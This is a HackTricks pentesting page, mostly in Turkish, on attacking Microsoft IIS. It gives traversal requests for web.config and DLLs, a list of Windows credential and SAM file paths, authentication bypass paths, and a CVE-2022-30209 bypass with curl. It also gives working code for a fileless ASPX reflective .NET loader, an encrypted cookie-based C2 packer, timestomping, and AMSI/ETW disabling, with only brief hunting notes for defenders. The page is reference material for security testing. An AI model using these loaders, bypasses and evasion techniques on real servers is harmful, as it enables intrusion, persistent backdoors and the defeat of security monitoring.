IIS - Internet Information Services

Reading time: 15 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Test executable file extensions:

  • asp
  • aspx
  • config
  • php

Dahili IP Adresi ifşası

Herhangi bir IIS sunucusunda 302 aldığınızda, Host header'ı kaldırmayı ve HTTP/1.0 kullanmayı deneyebilirsiniz; cevap içinde Location header dahili IP adresine işaret edebilir:

nc -v domain.com 80
openssl s_client -connect domain.com:443

İç IP'yi ifşa eden yanıt:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

.config dosyalarını çalıştır

You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: Download example here

More information and techniques to exploit this vulnerability here

IIS Discovery Bruteforce

Oluşturduğum listeyi indir:

Aşağıdaki listelerin içeriği birleştirilerek oluşturuldu:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Herhangi bir uzantı eklemeden kullanın; uzantıya ihtiyaç duyan dosyalar zaten gerekli uzantıya sahip.

Path Traversal

Leaking source code

Detaylı yazıyı şurada inceleyin: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

tip

Özetle, uygulamanın klasörleri içinde "assemblyIdentity" dosyalarına ve "namespaces" referanslarına sahip birden fazla web.config dosyası bulunur. Bu bilgiyle hangi yürütülebilir dosyaların nerede bulunduğunu bilmek ve bunları indirmek mümkün.
İndirilen Dllslerden ayrıca yeni namespaces bulmak mümkün; bu alanlarda web.config dosyasına erişmeyi deneyip yeni namespaces ve assemblyIdentity bulabilirsiniz.
Ayrıca, connectionstrings.config ve global.asax dosyaları ilginç bilgiler içerebilir.

In .Net MVC applications, the web.config file plays a crucial role by specifying each binary file the application relies on through "assemblyIdentity" XML tags.

İkili Dosyaları Keşfetme

An example of accessing the web.config file is shown below:

html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Bu istek şu ayarları ve bağımlılıkları açığa çıkarıyor, örneğin:

  • EntityFramework sürümü
  • AppSettings web sayfaları, istemci doğrulaması ve JavaScript için
  • System.web kimlik doğrulama ve runtime yapılandırmaları
  • System.webServer modül ayarları
  • Runtime assembly bindingleri; örneğin Microsoft.Owin, Newtonsoft.Json ve System.Web.Mvc gibi birçok kütüphane için

Bu ayarlar, /bin/WebGrease.dll gibi bazı dosyaların uygulamanın /bin klasöründe bulunduğunu gösterir.

Kök Dizin Dosyaları

Kök dizinde bulunan /global.asax ve /connectionstrings.config gibi dosyalar (gizli parolalar içerir) uygulamanın yapılandırması ve çalışması için gereklidir.

İsim Alanları ve Web.Config

MVC uygulamaları, her dosyada tekrar eden deklarasyonlardan kaçınmak için belirli isim alanları için ek web.config dosyaları tanımlar; bu, başka bir web.config indirme isteği ile gösterildi:

html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLL'leri İndirme

Özel bir namespace'ten bahsedilmesi, /bin dizininde "WebApplication1" adlı bir DLL'in bulunduğuna işaret eder. Bunu takiben, WebApplication1.dll dosyasını indirme isteği gösterilmiştir:

html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Bu, /bin dizininde System.Web.Mvc.dll ve System.Web.Optimization.dll gibi diğer gerekli DLL'lerin varlığına işaret eder.

Bir DLL WebApplication1.Areas.Minded adlı bir namespace'i import ediyorsa, bir saldırgan /bin klasöründeki diğer DLL'lere referanslar ve belirli yapılandırmalar içeren /area-name/Views/ gibi öngörülebilir yollarda başka web.config dosyalarının varlığını çıkarım yapabilir. Örneğin, /Minded/Views/web.config isteği başka bir DLL'in — WebApplication1.AdditionalFeatures.dll — varlığına işaret eden yapılandırmaları ve namespace'leri ortaya çıkarabilir.

Yaygın dosyalar

From here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Hatası

If you see an error like the following one:

Aşağıdaki gibi bir hata görürseniz:

Bu, sunucunun Host header içinde doğru domain adını almadığı anlamına gelir.
Web sayfasına erişmek için sunulan SSL Certificate'e bakabilir ve belki orada domain/alt alan adını bulabilirsiniz. Eğer orada yoksa doğru olanı bulana kadar brute force VHosts yapmanız gerekebilir.

Decrypt encrypted configuration and ASP.NET Core Data Protection key rings

IIS üzerinde barındırılan .NET uygulamalarında secret'ları korumanın iki yaygın yöntemi:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) — web.config içindeki gibi bölümler için.
  • ASP.NET Core Data Protection key ring (yerel olarak saklanan) — uygulama secret'larını ve çerezleri korumak için kullanılır.

Eğer web sunucusunda dosya sistemi veya interaktif erişiminiz varsa, aynı yerde bulunan anahtarlar genellikle deşifreye izin verir.

  • ASP.NET (Full Framework) – protected config bölümlerini aspnet_regiis ile deşifre et:
cmd
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – Data Protection anahtar halkalarını yerel olarak saklanan (XML/JSON dosyaları) aşağıdaki gibi konumlarda arayın:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • Uygulama tarafından yönetilen klasör (örn., App_Data\keys veya uygulamanın yanında bir Keys dizini)

Data Protection anahtar halkası erişilebilir olduğunda, uygulamanın kimliğiyle çalışan bir operatör aynı purposes ile bir IDataProtector örneği oluşturup saklanan gizli verileri unprotect edebilir. Anahtar halkasını uygulama dosyalarıyla birlikte saklayan yanlış yapılandırmalar, host ele geçirildiğinde çevrimdışı deşifrelemeyi basit hale getirir.

IIS dosyasız arka kapılar ve bellekte çalışan .NET loader'ları (NET-STAR tarzı)

Phantom Taurus/NET-STAR toolkit'i, w3wp.exe içinde tamamen dosyasız IIS kalıcılığı ve post‑exploitation için olgun bir model gösteriyor. Temel fikirler özel tradecraft ve detection/hunting için geniş şekilde yeniden kullanılabilir.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: tek bir .aspx sayfası (örn. OutlookEN.aspx) Base64‑encoded, isteğe bağlı olarak Gzip‑compressed bir .NET DLL taşır. Bir tetik isteğinde bunu çözer, açar ve reflection kullanarak mevcut AppDomain'e yükler ve ana giriş noktasını (örn. ServerRun.Run()) çağırır.
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: görevler/sonuçlar Gzip → AES‑ECB/PKCS7 → Base64 ile paketlenir ve görünürde meşru, çerez ağırlıklı isteklere taşınır; operatörler parçalama için sabit ayırıcılar (örn. "STAR") kullandı.
  • Reflective .NET execution: rasgele managed assembly'leri Base64 olarak alır, Assembly.Load(byte[]) ile yükler ve disk'e dokunmadan hızlı modül değişimleri için operatör argümanları iletir.
  • Operating in precompiled ASP.NET sites: site önceden derlenmiş olsa bile yardımcı shell/arka kapılar ekleme/yönetme (örn. dropper dinamik sayfalar/handler'lar ekler veya config handler'lardan yararlanır) – bypassPrecompiledApp, addshell, listshell, removeshell gibi komutlarla ortaya çıkar.
  • Timestomping/metadata forgery: deploy sırasında changeLastModified eylemi ve timestomp uygulanması (gelecekteki derleme zaman damgaları dahil) ile DFIR'i zorlaştırır.
  • Optional AMSI/ETW pre‑disable for loaders: ikinci aşama bir loader, Assembly.Load çağrısından önce AMSI ve ETW'yi devre dışı bırakabilir; bu, bellekteki payload'ların incelenmesini azaltır.

Minimal ASPX loader pattern

aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Paketleme/crypto yardımcıları (Gzip + AES‑ECB + Base64)

csharp
using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Çerez/oturum akışı ve komut yüzeyi

  • Oturum başlatma ve görev atamaları, normal web etkinliğiyle karışması için çerezler aracılığıyla iletilir.
  • Sahada gözlemlenen komutlar şunlardı: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; ve bellek içi .NET yürütmesi için dinamik yürütme primitifleri code_self, code_pid, run_code.

Timestomping aracı

csharp
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Assembly.Load (loader variant) öncesinde satır içi AMSI/ETW devre dışı bırakma

csharp
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

Bkz. AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md

Hunting notes (defenders)

  • Tek, tuhaf bir ASPX sayfası; çok uzun Base64/Gzip blob'ları; cookie‑ağırlıklı POST'lar.
  • w3wp.exe içinde disk üzerinde olmayan managed modüller; Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run gibi string'ler.
  • Trafikte "STAR" gibi tekrar eden ayırıcılar; ASPX/assembly'lerde uyuşmayan veya hatta geleceğe ait zaman damgaları.

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

Keşfedilen her klasörün içinde (Basic Authentication gerektirse bile) klasörleri ve dosyaları listelemeyi deneyebilirsiniz bu teknikle.
Sunucu bu zafiyete açıksa, bu tekniğin ana kısıtlaması her dosya/klasör adının ilk 6 harfine ve dosya uzantısının ilk 3 harfine kadar olan kısmı bulabilmesidir.

You can use https://github.com/irsdl/IIS-ShortName-Scanner to test for this vulnerability:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

You can also use metasploit: use scanner/http/iis_shortname_scanner

A nice idea to find the final name of the discovered files is to ask LLMs for options like it's done in the script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

Basic Authentication bypass

Bypass a basic authentication (IIS 7.5) trying to access: /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php

You can try to mix this vulnerability and the last one to find new folders and bypass the authentication.

ASP.NET Trace.AXD enabled debugging

ASP.NET bir debugging modu içerir ve dosyası trace.axd olarak adlandırılır.

Bu, bir uygulamaya belirli bir süre içinde yapılan tüm isteklerin çok detaylı bir kaydını tutar.

Bu bilgiler uzak istemci IP'lerini, session ID'lerini, tüm istek ve yanıt cookie'lerini, fiziksel yolları, kaynak kodu bilgilerini ve potansiyel olarak kullanıcı adları ve şifreleri bile içerebilir.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH uses the following info:

  • validationKey (string): imza doğrulaması için kullanılacak hex-kodlu anahtar.
  • decryptionMethod (string): (varsayılan “AES”).
  • decryptionIV (string): hex-kodlu başlatma vektörü (varsayılan olarak sıfırlardan oluşan bir vektör).
  • decryptionKey (string): şifre çözme için kullanılacak hex-kodlu anahtar.

Ancak bazı kişiler bu parametrelerin default values'larını kullanacak ve cookie olarak kullanıcının email'ini tercih edeceklerdir. Bu yüzden, aynı platformu kullanan ve ASPXAUTH cookie kullanan başka bir web bulabilir ve saldırı altındaki sunucuda impersonate etmek istediğiniz kullanıcının email'iyle bir kullanıcı oluşturursanız, ikinci sunucudan aldığınız cookie'yi ilk sunucuda use the cookie from the second server in the first one ve kullanıcıyı taklit edebilmeniz mümkün olabilir.
Bu saldırı şu writeup içinde başarılı olmuştu.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: Koddaki bir bug kullanıcının verdiği şifreyi düzgün şekilde kontrol etmiyordu, bu yüzden parola hash'i zaten önbellekte bir anahtara çarparsa saldırgan o kullanıcı olarak giriş yapabilecekti.

python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Kaynaklar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin